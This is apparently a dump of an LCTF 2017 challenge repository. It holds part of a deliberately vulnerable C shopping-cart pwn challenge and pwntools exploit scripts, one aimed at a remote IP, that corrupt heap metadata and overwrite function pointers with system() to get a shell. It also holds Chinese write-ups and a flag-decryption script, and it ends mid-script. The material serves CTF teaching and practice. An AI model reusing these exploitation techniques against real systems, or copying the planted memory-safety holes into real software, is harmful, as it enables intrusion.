			strncpy(item_t->desc,item_c[choice - 'A'].desc,strlen(item_c[choice - 'A'].desc));
			item_t->price = item_c[choice - 'A'].price;
			item_t->discount = item_c[choice - 'A'].discount;
			item_t->print(item_t);//

			if (check_cart((void *)item_t)==0)
			{
				free(item_t);
			}
			else
			{
				cart_total += item_t->price*(item_t->discount/10);
			}
		}

	}
}
struct _item_d
{
  char mark[32];
  char name[32];
  char desc[64];
  char padd[64];
  double price;
  char *message;
  void (*print)();
  char details[128];
};

void print_item_d(struct _item_d *item_t)
{
	printf("Name: %s\t\tDesc: %s\t\tPrice: $%.2f\t\tDetails: %s\n", item_t->name, item_t->desc, item_t->price, item_t->details);
}

struct _item_d item_d[] = {
	{print:print_item_d, name:"DYMO\0",desc:"DYMO LabelManager 280 Rechargeable Hand-Held Label Maker\0",price:14.87,details:"The DYMO LabelManager 280 prints durable, water-resistant labels that make it easy to access files, charts, tools, and more. \0"},
	{print:print_item_d, name:"Ontel\0",desc:"SpeedOut Damaged Screw Extractor & Bolt Extractor Set\0",price:6.88,details:"If you've ever stripped a screw or broken off the head of a bolt, you know how frustrating that can be. \0" },
	{print:print_item_d, name:"Top Greener\0",desc:"TOPGREENER TU2154A High Speed USB Charger Outlet\0",price:16.99,details:"USB Wall Charger, Electrical Outlet with USB, 15A TR Receptacle, Screwless Wall Plate, for iPhone X, iPhone 8/8 Plus \0" },
	{print:print_item_d, name:"BLENDX\0",desc:"Universal Sockets Metric Wrench Power Drill Adapter Set \0",price:6.88,details:"Automatic standard and metric application; Unscrew various shapes nuts,screws,hooks,lag screws and bolt heads ect. \0" },
	{print:print_item_d, name:"Mitutoyo\0",desc:"Mitutoyo 64PKA075 Tool Kit, 0-1\" Range Dial Indicator\0",price:6.88,details:"This item's packaging may indicate what is inside. To cover it, select Ship in Amazon box on the checkout page. \0" },
};

void add_item_d()
{
	unsigned char choice;
	struct _item_d *item_t;

	while (1)
	{
		for(int i=0;i<(sizeof(item_d)/sizeof(struct _item_d));i++)
		{
			printf("[%c] ", 'A'+i);
			item_d[i].print(&item_d[i]);
		}

		printf("[n] back\n");

		printf("Which tool? ");

		choice = get_char();

		if (choice == 'n') return ;

		if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_d)/sizeof(struct _item_d)))
		{
			item_t = malloc(sizeof(struct _item_d));
			item_t->print = print_item_d;
			printf("remark: ");
			get_str(item_t->mark, 32, '\n');
			strncpy(item_t->name,item_d[choice - 'A'].name,strlen(item_d[choice - 'A'].name));
			strncpy(item_t->desc,item_d[choice - 'A'].desc,strlen(item_d[choice - 'A'].desc));
			strncpy(item_t->details,item_d[choice - 'A'].details,strlen(item_d[choice - 'A'].details));
			item_t->price = item_d[choice - 'A'].price;
			item_t->print(item_t);//
			puts("leave a message?");
			item_t->message = get_message(0);
			if (check_cart((void *)item_t)==0)
			{
				free(item_t->message);
				free(item_t);
			}
			else
			{
				cart_total += item_t->price;
			}
		}

	}
}

struct _item_e
{
  char mark[32];
  char name[32];
  char desc[128];
  double price;
  char *message;
  void (*print)();
  int pad;
};

void print_item_e(struct _item_e *item_t)
{
	printf("Name: %s\t\tDescription: %s\t\tPrice: $%.2f\n", item_t->name, item_t->desc, item_t->price);
}

struct _item_e item_e[] = {
	{print:print_item_e, name:"Faith Beauty Eyelash\0",desc:"Advanced Formula for Longer and Thicker Lashes\0",price:22.99},
	{print:print_item_e, name:"Silk Sleep or Eye Mask\0",desc:"100% mulberry silk and floss-soft, smooth, lightweight and comfortable\0",price:14.99},
	{print:print_item_e, name:"Faith Beauty Eyelash\0",desc:"The magnetic eyelashes sets are made of high quality material.\0",price:10.11},
	{print:print_item_e, name:"Premium Quality Blackhead Remover\0",desc:"The Mask can deeply clean stubborn blackheads on face without any harms.\0",price:14.99},
	{print:print_item_e, name:"Toenail Nipper for Thick\0",desc:"The toenail nipper was designed to easily clip nails of all sizes.\0",price:22.99},
	{print:print_item_e, name:"Magnetic Eyelashes\0",desc:"The toenail nipper was designed to easily clip nails of all sizes\0",price:18.95}

};

void add_item_e()
{
	unsigned char choice;
	struct _item_e *item_t;

	while (1)
	{
		for(int i=0;i<(sizeof(item_e)/sizeof(struct _item_e));i++)
		{
			printf("[%c] ", 'A'+i);
			item_e[i].print(&item_e[i]);
		}

		printf("[n] back\n");

		printf("Which beauty? ");

		choice = get_char();

		if (choice == 'n') return ;

		if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_e)/sizeof(struct _item_e)))
		{
			item_t = malloc(sizeof(struct _item_e));
			item_t->print = print_item_e;
			printf("remark: ");
			get_str(item_t->mark, 32, '\n');
			strncpy(item_t->name,item_e[choice - 'A'].name,strlen(item_e[choice - 'A'].name));
			strncpy(item_t->desc,item_e[choice - 'A'].desc,strlen(item_e[choice - 'A'].desc));
			item_t->price = item_e[choice - 'A'].price;
			item_t->print(item_t);//
			puts("leave a message?");
			item_t->message = get_message(0xe0);
			if (check_cart((void *)item_t)==0)
			{
				free(item_t->message);
				free(item_t);
			}
			else
			{
				cart_total += item_t->price;
			}
		}

	}
}

struct _item_f
{
  char mark[32];
  char name[128];
  char desc[32];
  double price_low;
  double price_high;
  void (*print)();
  int star;
  char *message;
  int pad;
};

void print_item_f(struct _item_f *item_t)
{
	printf("Name: %s\t\tPrice: $%.2f~$%.2f\t\tStar: %d\n", item_t->name, item_t->price_low, item_t->price_high, item_t->star);
}

struct _item_f item_f[] = {
	{print:print_item_f, name:"Save on 2017 Chrome Soft and Chrome Soft X Golf Balls\0",price_low:31.99,price_high:72.64,star:5},
	{print:print_item_f, name:"Up to 40% Off Select NCAA Headwear Styles\0",price_low:4.19,price_high:24.00,star:5},
	{print:print_item_f, name:"Up to 40% Off Select NFL homeware and headwear\0",price_low:6.00,price_high:100.17,star:4},
	{print:print_item_f, name:"Up to 40% Off Select NFL Men's Apparel Styles\0",price_low:4.79,price_high:179.99,star:5},
	{print:print_item_f, name:"Save on GoSports Giant Toppling Tower with Bonus Rules and more\0",price_low:30.68,price_high:84.98,star:5},
	{print:print_item_f, name:"Save on Hodgman Waders, Boots and More\0",price_low:11.90,price_high:91.46,star:4},
	{print:print_item_f, name:"Save on Mojo Outdoors Teal Duck Decoy and more\0",price_low:41.31,price_high:123.14,star:4},
	{print:print_item_f, name:"Up to 25% off select OTS NFL knits\0",price_low:10.50,price_high:13.50,star:5}
};

int isValidEmail(char *pcEmailaddr)  
{  
    char user[128] = {0};  
    char site[128] = {0};  
  
    if(NULL == pcEmailaddr)  
    {  
        return 0;  
    }  
      
    sscanf(pcEmailaddr, "%[0-9a-zA-Z-_.]%[@0-9a-zA-Z._]", user,site);  
  
    if(0 < strlen(user) && 0 < strlen(site) && ((strlen(user) + strlen(site)) == strlen(pcEmailaddr)))  
    {  
        if('@' == site[0])  
        {  
            return 1;  
        }  
    }  
  
    return 0;  
}  

void add_item_f()
{
	unsigned char choice;
	struct _item_f *item_t;

	while (1)
	{
		puts("--------------------------------");
		for(int i=0;i<(sizeof(item_f)/sizeof(struct _item_f));i++)
		{
			printf("[%c] ", 'A'+i);
			item_f[i].print(&item_f[i]);
		}
		puts("--------------------------------");
		printf("[n] back\n");

		printf("Which sport? ");

		choice = get_char();

		if (choice == 'n') return ;

		if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_f)/sizeof(struct _item_f)))
		{
			item_t = malloc(sizeof(struct _item_f));
			item_t->print = print_item_f;
			printf("remark: ");
			get_str(item_t->mark, 32, '\n');
			strncpy(item_t->name,item_f[choice - 'A'].name,strlen(item_f[choice - 'A'].name));
			item_t->price_low = item_f[choice - 'A'].price_low;
			item_t->price_high = item_f[choice - 'A'].price_high;
			item_t->star = item_f[choice - 'A'].star;
			item_t->print(item_t);//
			puts("leave your email?");
			item_t->message = get_message(0x40);
			if (isValidEmail(item_t->message)==0)
			{
				puts("Not valid!");
				free(item_t->message);
			}
			if (check_cart((void *)item_t)==0)
			{
				free(item_t->message);
				free(item_t);
			}
			else
			{
				cart_total += item_t->price_low;
			}
		}

	}
}

void items_menu()
{
	puts("--------------------------------");
	puts("[a] Books & Audible");
	puts("[b] Movies, Music & Games");
	puts("[c] Electronics, Computers & Office");
	puts("[d] Home, Garden & Tools");
	puts("[e] Beauty & Health");
	puts("[f] Sports & Outdoors");
	puts("--------------------------------");
	puts("[n] back");
	printf(": ");
}

void have_a_look()
{
	unsigned char choice;
	while (1) 
	{
		items_menu();
		choice = get_char();
		switch (choice) 
		{
			case 'a':
				add_item_a();
				break;
			case 'b':
				add_item_b();
				break;
			case 'c':
				add_item_c();
				break;
			case 'd':
				add_item_d();
				break;
			case 'e':
				add_item_e();
				break;
			case 'f':
				add_item_f();
				break;
			case 'n':
				return ;
			default:
				puts("invalid choice !");
				break;
		}

	}

}

void remove_an_item()
{
	int found = -1;
	char buf[32];
	printf("Item name to remove? ");

	get_str(buf, 64, '\n');

	for (int i = 0; i < 99; ++i)
	{
		if (cart[i] && strcmp(((long *)cart[i]),buf)==0)
		{
			printf("$%.2lf\n",(double)(*((double *)cart[i]+24)));
			cart_total -= (double)(*((double *)cart[i]+24));
			cart_count -= 1;
			free(cart[i]);
			found = i;
		}
	}
	
	if (found == -1)
	{
		printf("Not found");
	}
	else
	{
		cart[found] = 0;
		puts("remove successfully!");
	}
	

}

void show_my_cart()
{
	for (int i = 0; i < cart_count; ++i)
	{
		if (cart[i]!=0)
		{
			(*(void  (*)())(*((long *)cart[i]+26)))(cart[i]);
		}
	}

	if (cart_count > 0)
		printf("Total is $%.2lf\n", cart_total);

}

void checkSum(unsigned long long cardNum) {

    int currentDigit;
    int count = 0;
    int oddSum = 0;
    int evenSum = 0;

    while (cardNum > 0) {

        currentDigit = cardNum % 10;

        if (count % 2 == 1){
            int doubled = currentDigit * 2;
            oddSum += doubled / 10 + doubled % 10;
        }
        else {
            evenSum += currentDigit;
        }

        count++;
        cardNum = cardNum / 10;

    }

    int total = oddSum + evenSum;
    if (total % 10 != 0) {
        printf("INVALID\n");
        exit(0);
    }

}

/* This part then returns the type of bank this card is from. */
char* findBank(unsigned long long cardNum) {
    char* bank = "";
    do {
        if (cardNum == 34 || cardNum == 37) {
            bank = "AMEX";
            break;
        } else if (51 <= cardNum && cardNum <= 55) {
            bank = "MASTERCARD";
            break;
        } else if (cardNum == 4) {
            bank = "VISA";
            break;
        } else {
            bank = "INVALID";
        }
        cardNum = cardNum / 10;
    } while (cardNum > 0);

    if(strcmp(bank, "INVALID") == 0){
        printf("INVALID\n");
        exit(0);
    }

    return bank;
}

int validCardLength(unsigned long long cardNum, char* bank) {

    int size = 0;

    while (cardNum > 0) {
        size ++;
        cardNum = cardNum / 10;
    }
    if (strcmp(bank, "AMEX") == 0){
        if (size == 15)
            printf("%s\n", bank);
    } else if (strcmp(bank, "MASTERCARD") == 0) {
        if (size == 16)
            printf("%s\n", bank);
    } else if (strcmp(bank, "VISA") == 0) {
        if (size == 13 || size == 16)
            printf("%s\n", bank);
    } else {
        printf("INVALID\n");
        return 0;
    }

    return 1;
}

void have_the_bill()
{
	printf("Number: ");
    unsigned long long cardNum;
    scanf("%lld\n", &cardNum);
    checkSum(cardNum);
    char* bank = findBank(cardNum);
    if (validCardLength(cardNum, bank)==0)
		printf("Not valid card");
}

void menu() {
	puts("======= You can =======");
	puts("1. have a look ->");
	puts("2. remove an item ->");
	puts("3. show my shopping cart ->");
	puts("4. have the bill ->");
	puts("5. quit ->");
	puts("=======================");
	printf("your choice: ");
}

void chall_main() {
	unsigned choice;

	while (1) 
	{
		menu();
		choice = get_choice();
		switch (choice) 
		{
			case 1:
				have_a_look();
				break;
			case 2:
				remove_an_item();
				break;
			case 3:
				show_my_cart();
				break;
			case 4:
				have_the_bill();
				break;
			case 5:
				puts("see you later!");
				exit(0);
			default:
				puts("invalid choice !");
				break;
		}

	}
}

void sigalrm_fn(int sig)
{
        puts("\n[!] bye!");
        exit(-1);
}

void initial() 
{
	signal(SIGALRM, sigalrm_fn);
	alarm(0x10000);

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("Welcome to L-T shopping mall!\n");
}

int main(int argc, char* argv[])
{

	initial();
	chall_main();
	
	return 0;
}


================================================
FILE: src/pwn/shopping/shopping.md
================================================
# shopping

编译:

```shell
$ ./clang -O1 shopping.c -mllvm -sub -mllvm -bcf -mllvm -fla -w -o shopping
```



================================================
FILE: src/pwn/toy/toy_exp.py
================================================
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from struct import pack


context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

EXEC = 0x0000555555554000

#io = process("./simple-vm")
io = remote("111.231.19.153", 20003)

#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000175B))
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000157D)) # call
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x0000000000001900)) # debug

store_string = lambda reg, leng, s: pack("<bbH", 0x30, reg, leng)+s
store_int = lambda reg, val: pack("<bbH", 0x01, reg, val)
add = lambda dst, src1, src2: pack("<bbbb", 0x21, dst, src1, src2)
sub = lambda dst, src1, src2: pack("<bbbb", 0x22, dst, src1, src2)
mul = lambda dst, src1, src2: pack("<bbbb", 0x23, dst, src1, src2)
div = lambda dst, src1, src2: pack("<bbbb", 0x24, dst, src1, src2)
peek = lambda reg, addr: pack("<bbb", 0x60, reg, addr)
poke = lambda reg, addr: pack("<bbb", 0x61, reg, addr)
inc = lambda reg: pack("<bb", 0x25, reg)
dec = lambda reg: pack("<bb", 0x26, reg)
concat = lambda dst, src1, src2: pack("<bbbb", 0x32, dst, src1, src2)
debug = lambda : '\x0a'
exit = lambda : '\x00'

'''
#0 addr
#1 libc_hi
#2 libc_lo
#5 reserved
#7 heap_lo
#9 0x81

将free chunk的fd改为reg9的地方,修改exit的函数指针为system
'''

# stage0 
payload  = ''

code = [
    store_string(0x0, 0x20, "A"*0x20),
    store_string(0x1, 0x20, "A"*0x20),
    store_string(0x4, 0xa0, "A"*0xa0),
    store_string(0x5, 0xa0, "A"*0xa0),
    store_int(0x4, 0xffff), # (free 1)

    # stage1 mov (int)heap to #7
    store_int(0x1, 0xffff), # (free 1)
    store_int(0x0, 0x14), # (free 0)
    add(0x0, 0x0, 0x1),
    store_int(0x8, 0x100), # (free 1)

    [
        peek(0x6, 0x0),
        mul(0x7, 0x7, 0x8),
        add(0x7, 0x7, 0x6),
        dec(0x0)
    ]*4,

    # stage2 mov (int)heap to #9
    store_int(0x1, 0xffff),
    store_int(0x0, 0x78),
    add(0x0, 0x0, 0x1),
    store_int(0x8, 0x100),

    [
        peek(0x6, 0x0),
        mul(0x1, 0x1, 0x8),
        add(0x1, 0x1, 0x6),
        dec(0x0)
    ]*4,

    [
        peek(0x6, 0x0),
        mul(0x2, 0x2, 0x8),
        add(0x2, 0x2, 0x6),
        dec(0x0)
    ]*4,

    # stage 3
    store_int(0x3, 0xffff),
    store_int(0x0, 0x11),
    add(0x0, 0x0, 0x3),
    store_int(0x9, 0xffff),
    store_int(0x8, 0x1891),
    add(0x8, 0x8, 0x9),
    sub(0x7, 0x7, 0x8),
    store_int(0x8, 0x100),

    [
        poke(0x7, 0x0),
        div(0x7, 0x7, 0x8),
        inc(0x0),
    ]*4,


    # stage4 overwrite fp
    store_int(0x8, 0x0),

    [
        store_int(0x9, 0xffff),
        add(0x8, 0x8, 0x9),
    ]*0x37,

    store_int(0x9, 0xf81f),
    add(0x8, 0x8, 0x9),
    sub(0x2, 0x2, 0x8), # calculate system address
    store_int(0x3, 0xffff),
    store_int(0x0, 0x121),
    add(0x0, 0x0, 0x3),
    store_int(0x8, 0x100),

    [
        poke(0x2, 0x0),
        div(0x2, 0x2, 0x8),
        inc(0x0)
    ]*4,


    [
        poke(0x1, 0x0),
        div(0x1, 0x1, 0x8),
        inc(0x0)
    ]*4,

    store_int(0x9, 0x31),
    store_string(0x7, 0x18, "A"*0x18),
    debug(),
    concat(0x8, 0x7, 0x5),
    pack("<bb", 0x01, 0x0)+'sh',    # store-int #0, 0x51 (free 0)

    #stage5 trigger
    exit()
]

payload = flat(arr)

io.recvuntil("size")
io.sendline(str(len(payload)))

io.send(payload)

io.interactive()


================================================
FILE: src/pwn/toy/toy_writeup.md
================================================
## toy writeup

### 漏洞

程序修改自https://github.com/skx/simple.vm

在peek和poke处修改了一下,把检查地址是否越界的部分给改了

### 利用

利用方法可能有很多,下面是我写exp的步骤

1. 通过store-string来malloc出合适的chunk,然后将其free
2. 将被free的chunk里的libc和heap的地址通过peek来读取到寄存器里
3. 修改被free的fastbin的fd,使其指向第10个寄存器(刚好在exit指令的函数句柄上面)_
4. 通过得到的libc地址来计算出system的地址,用concat指令来写入到exit指令的函数句柄上



================================================
FILE: src/pwn/完美冻结/exp.py
================================================
#!/usr/bin/env python2

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#p = process('./easy')
#p = gdb.debug('./easy')

puts_plt = 0x00400810
system = 0x400870

payload = ""

payload += "VALUE 1 65\n"

#payload += "VALUE 2 66\n"
pay = "VALUE 2 "
pay += str(system)
pay += '\n'
payload += pay

payload += "VALUE 3 67\n"
payload += "MOV 1 2\n"

pay = "// "
pay += "A" * (32 - len(pay) - 1)
pay += '\n'
payload += pay

pay = "// "
pay += "B" * (32 - len(pay))
pay += "\x07\x00"
pay += "B" * (0xFFFF - len(pay) - 1)
pay += '\n'
payload += pay

pay = "VALUE 4 29400045130965551"
pay += '\n'
payload += pay

payload += "PRINT 4\n"
payload += "END\n"

p.send(payload)

p.interactive()

================================================
FILE: src/pwn/完美冻结/完美冻结.md
================================================
# 完美冻结

漏洞很简单。

程序用mmap生成了两块0x1000内存快,实现了一套奇怪的存储装置:一个用来做buff,一个用来存数据。

做buff的堆块在重新设置大小(`bmap_set`)时,使用的是`unsigned short`,但是做加法时(或者从`unsigned int`转换到`unsigned short`时)会产生整数溢出。

利用`// `符号读入大量的字符,再配合`\0`符号就可以将buff溢出到后面的堆块。

第二个装置里面用的是位字段指示某个地址是否空闲。将该字段覆盖掉,即可造成两个数据结构被分配在一个地址上。

由于出题人的程序结构又写崩了,于是无奈之下直接给了`system()`函数的地址...也就是说完全不需要绕过任何保护。

利用覆盖将函数指针覆盖为system的即可getshell。

看似复杂其实随便堆点时间就可以拿到flag...就像9的符卡一样嘛(笑)。

代码会随其他源码一同给出。

出题人的验证exp(不知道为什么很莫名其妙但是的确getshell了):

```
#!/usr/bin/env python2

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#p = process('./easy')
#p = gdb.debug('./easy')

puts_plt = 0x00400810
system = 0x400870

payload = ""

payload += "VALUE 1 65\n"

#payload += "VALUE 2 66\n"
pay = "VALUE 2 "
pay += str(system)
pay += '\n'
payload += pay

payload += "VALUE 3 67\n"
payload += "MOV 1 2\n"

pay = "// "
pay += "A" * (32 - len(pay) - 1)
pay += '\n'
payload += pay

pay = "// "
pay += "B" * (32 - len(pay))
pay += "\x07\x00"
pay += "B" * (0xFFFF - len(pay) - 1)
pay += '\n'
payload += pay

pay = "VALUE 4 29400045130965551"
pay += '\n'
payload += pay

payload += "PRINT 4\n"
payload += "END\n"

p.send(payload)

p.interactive()
```



================================================
FILE: src/re/BeRealDriver/writeup.md
================================================
# BeRealDriver

本题有一个指向Wikipedia LDW页面的Hint,是因为题目设计之初是想模仿现代汽车上常用的LDW系统。题目文件中含有两张图片,分别对应着LDW输入的地图,和驾驶员采取的驾驶路径。程序中的LDW首先判断驾驶路径是否在地图许可的范围内,如果不在,就报警;接下来另一个模块会检查驾驶路径是否经过了预设的几个危险点,如果没有经过,认为攻击失败。满足以上所有条件,即可得到flag。参赛者需要在分析以上程序逻辑的基础上提供两个文件,这两个文件(同样是图片)和上文中提到的两张内置图片分别异或后,作为被攻击者影响之后的地图和驾驶员操作,提供给上述的判断逻辑。

由此,一个简单的攻击思路是,提取出程序内置的两张图片之后,用Photoshop的自由变形功能,扭曲两张图片,使其经过指定位置,之后将新图片和原图片分别异或,并提交结果,即可得到正确解答。

这个题主要的坑点应该是OpenCV。很多人反馈跑不起来,这个和库版本有关系,我用的是最新版的库。另外还有人被Windows 10的图片查看器坑了,唉,临门一脚……所以劝大家多用Linux,你看Linux下连个像样的好看的图片查看器都没有(除了chromium),自然不会发生这种问题。此外另一个坑点是由于我写的算法鲁棒性太差,如果输入数据的连续性不够就会segfault……

题目设计之初本来是想按照真正的LDW工作,由三个线程构成,一个负责输出摄像头和操作数据,一个负责做LDW,另一个负责做危险点检测,且把核心逻辑放到CUDA中。但由于自己码力不太够,只能采取目前这种伪LDW设计,希望大家还是玩的开心。

题目源代码已经在https://github.com/SilverBut/LCTF2017_BeRealDriver 公开,上述的两张图片可在 `LCTF2017_BeRealDriver/code/examples` 中找到,题目设计思路文档可在 `LCTF2017_BeRealDriver/doc` 中找到。

================================================
FILE: src/re/NuclearBomb/writeup.md
================================================
# NuclearBomb

首先向各位道歉……本题出现了一些问题。赛后Atum指出,在CUDA函数内的数据同步存在问题,移位操作是在S盒置换操作之后发生的,因此会导致数据不一致,影响解题结果。虽然后续分析后发现这一点可能(至少在出题人机器上)并不会影响最终结果,但还是因此干扰了各位的解题思路。在此就我连续第三年翻车(?)表示诚挚的歉意,希望各位大佬不要穿过网线来线下真人快打。

然后先说一下算法吧,输入的flag是分组处理的,每 `4 byte` 用来初始化一个随机数发生器,之后取出一组随机数用来膨胀成一个数组。之后对数组中的元素按字节进行替换,然后按 `uint32` 进行循环移位(上文中的bug就出现在这里)。结果会和预设的一个数组比较,如果通过,则输入值即为flag。

这一题的坑点有:

1. (再次感谢Atum指出)Nvidia的官方文档对移位指令的描述有问题;
2. 不是所有人都有可以跑CUDA的GPU,一些笔记本的CPU实际是不能跑的;
3. mtrand需要查表爆破,很容易让选手认为思路跑偏。

除了第三点在设计时候是预料到的以外,前两点都是没想到的。第三点当时测试过,跑一轮表最多需要10h(四代移动版i7-4712MQ,16G,单线程,SSD,linux,g++),因此时间上不会出太多问题。但为了避免思路受阻,还是尽量提前放了这道题。

题目源码也在github上开源了,地址为https://github.com/SilverBut/LCTF2017_NuclearBomb 。

================================================
FILE: src/re/YublKey/writeup.md
================================================
# YublKey

本题是临时起意想到的。GH60是一款开源键盘,大多数情况下其使用的固件是`tmk_keyboard`。本题设计是,在烧入此固件后按下特定按钮,即通过`print`函数输出flag,这个输出操作是通过使用固件自带的钩子点`hook_matrix_change`实现的,所以如果能找到源码并阅读一下,或者是自行编译后做bindiff,就可以发现这个hook点被改动过,直接分析相关代码即可。

这个题首要难题就是怎么知道这是个GH60的固件,实际通过字符串就能看到GH60(从一个老司机那里学到的这一招,`strings -e l ./YublKey-stripped-elf`),搜一下就有一些思路了,当然还是有点小脑洞。另外一点就是IDA对部分MCU的支持不太好,不过对GH60使用的MCU来说应该还是没什么大问题的。放出elf文件之后,加载和函数识别实际就没有什么问题了,题目难度下降了一档,但是仍然没有人做,可能是大家已经对我失去信心了吧233……

同上题一样,这个题的设计和实现也有一些差距……原意是在固件中植入一个键盘记录器,输入flag字符串后将内存中的记录信息输出,选手需要逆向程序逻辑来得到flag。但由于编码时间不够,就选择了现在这种比较挫的设计思路。

题目源代码同样也在github上开源了,地址为https://github.com/SilverBut/LCTF2017_YublKey 公开。我是clone后直接修改的,所以可以看一下最近的几次提交记录。

================================================
FILE: src/re/use your IDA/decrypt.py
================================================
#	-*- coding:utf-8	-*-

import re
import ctypes

flag_pattern =  "\[ebx\+([\s\S]+)\]"
operation_pattern = "eax,\ ([\s\S]+)"
file = open("IDA.txt",'r',encoding='utf-8')
operation = []
flag_op = []
for i in range(20):
	flag_op.append([])
for eachline in file:
	operation.append(eachline)

flag = [0xf2,0x6e,0xd1,0xb1,0x7e,0x8b,0x3e,0x8e,0xb1,0x67,0x6e,0xe2,0xf7,0xa8,0x3d,0xce,0x2f,0xb0,0xec,0x0]
length = len(operation)
index = 0
while index < length:
	# this mean that we have a operation about our flag
	if "movzx" in operation[index]:
		# print(operation[index])

		msg = re.findall(flag_pattern, operation[index])[0]
		if 'h' in msg:
			msg = msg[:-1]

		flag_index = int(msg,16)-1
		index += 1
		# first ,we checkout push is in it 
		if "push" in operation[index]:
				while not ("pop"  in operation[index] and "push" not in operation[index+1]):
					index += 1
				# now index is in pop
				index += 1
				
		if "add" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("+" + str(int(num,16)))
			# print(index)
			index += 1
		elif "sub" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("-" + str(int(num,16)))
			index += 1
		elif "xor" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
				num = num.replace('h','').strip()
			flag_op[flag_index].append("^" + str(int(num,16)))
			index += 1
		else:
			print("I forget %s!"%operation[index])
		
		# then ,we should check out the next is mov or not, because there are push to obscure
		if "mov" in operation[index]:
			# this mean our operation is finish
			# print("Ohhh no , we skip {}".format(operation[index]))
			continue
		else:
			# this is obsecure with operation
			if "push" in operation[index]:
				while not ("pop"  in operation[index] and "push" not in operation[index+1]):
					index += 1
				# now index is in pop
				index += 1
			# print("we finish pop at {}".format(operation[index]))
			# next ,we check if we need others operations
			if "add" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("+" + str(int(num,16)))
			elif "sub" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("-" + str(int(num,16)))
			elif "xor" in operation[index]:
				num = re.findall(operation_pattern, operation[index])[0]
				if 'h' in num:
					num = num.replace('h','').strip()
				flag_op[flag_index].append("^" + str(int(num,16)))
				# xor 
				index += 1
			# and next must be "mov"
			elif "mov" in operation[index]:
				continue
			else:
				print("I must be wrong at {}".format(operation[index]))
				index += 1
			if "mov" not in operation[index]:
				if 'push' in operation[index]:
					while not ("pop"  in operation[index] and "push" not in operation[index+1]):
						index += 1
						# now index is in pop
					index += 1
					# this must be mov 
					if "mov" not in operation[index]:
						print("My gold {}".format(operation[index]))
				else:
					print("this has some question {}".format(operation[index]))
				
	else:
		index += 1

print(flag_op[0])
# print(flag_op[1][1] == flag_op[0][1])
for i in range(0,256):
	num = i
	for each_op in flag_op[0]:
		if each_op[0] == '-':
			num = num - int(each_op[1:])
		elif each_op[0] == '+':
			num = num + int(each_op[1:])
		elif each_op[0] == '^':
			# flag[i] ^= int(each_op[1:], 16)
			num = ctypes.c_ubyte(num).value ^ ctypes.c_ubyte(int(each_op[1:])).value	
	# print(num,end= ',')
	if ctypes.c_ubyte(num).value == 0xf2:
		print(i)
		break

for i in range(len(flag_op)):
	flag_op[i].reverse()
	for each_op in flag_op[i]:
		if each_op[0] == '-':
			flag[i] = flag[i] + int(each_op[1:])
		elif each_op[0] == '+':
			flag[i] = flag[i] - int(each_op[1:])
		elif each_op[0] == '^':
			# flag[i] ^= int(each_op[1:], 16)
			flag[i] = ctypes.c_ubyte(flag[i]).value ^ ctypes.c_ubyte(int(each_op[1:])).value


print(flag)
for i in flag:
	print(chr(ctypes.c_ubyte(i).value),end = '')


================================================
FILE: src/re/use your IDA/use your IDA.md
================================================
# use your IDA

额...QAQ ...这题出了个小差错...给各位大师傅 带来的不便还请谅解, 借鉴了下看雪的溢
出思路, 其他的思路是我自己设计用汇编写的, 某几位大师傅还请口下留德。 在处理 flag
的时候的的循环少写了一次, 当时可能出题写代码写累了, 少循环了一次。 造成了某四位多
解的情况。

出题思路是: 前面一个输入函数, 将 flag 读入系统栈, 然后进入一个混淆的伪 flag 验证函
数, 验证函数里面, 提示得很明显,(可以返回到我写的另外一个混淆的伪 flag 函数), 只要
看懂了, 程序怎么访问 flag 的话, 在 od 中搜索访问 flag 的指令相关指令就行。 然后, 就会
发现其中的奥秘。

剩下的是处理那堆混淆:

和一些大师傅交流过后, 有下面几种思路:

1. python 正则处理 (出题的时候, 也是这么想的)
  将混淆代码去掉, 然后匹配成相应的语句, 逆向过来就行

2. OD 脚本处理
  大师傅给了个 OD 脚本, 还没搞

3. 爆破验证(操作最骚, 最简单)
  查看最终 flag 比较的内存验证, 然后试输入, 比对内存, 获得 flag。

4. angr 跑
  (是时候学习一波了!)

5. 汇编能力够强, 不熟悉 Python,可用 notepad++的正则(当然用 py 更好), 匹配然
  后逆向写 keygen。


#### 相关脚本:

   发现还是大师傅们写得好, 于是放上了南航师傅的脚本。

** decrypt.py**

```python
#	-*- coding:utf-8	-*-

import re
import ctypes

flag_pattern =  "\[ebx\+([\s\S]+)\]"
operation_pattern = "eax,\ ([\s\S]+)"
file = open("IDA.txt",'r',encoding='utf-8')
operation = []
flag_op = []
for i in range(20):
	flag_op.append([])
for eachline in file:
	operation.append(eachline)

flag = [0xf2,0x6e,0xd1,0xb1,0x7e,0x8b,0x3e,0x8e,0xb1,0x67,0x6e,0xe2,0xf7,0xa8,0x3d,0xce,0x2f,0xb0,0xec,0x0]
length = len(operation)
index = 0
while index < length:
	# this mean that we have a operation about our flag
	if "movzx" in operation[index]:
		# print(operation[index])

		msg = re.findall(flag_pattern, operation[index])[0]
		if 'h' in msg:
			msg = msg[:-1]

		flag_index = int(msg,16)-1
		index += 1
		# first ,we checkout push is in it 
		if "push" in operation[index]:
				while not ("pop"  in operation[index] and "push" not in operation[index+1]):
					index += 1
				# now index is in pop
				index += 1
				
		if "add" in operation[index]:
			num = re.findall(operation_pattern, operation[index])[0]
			if 'h' in num:
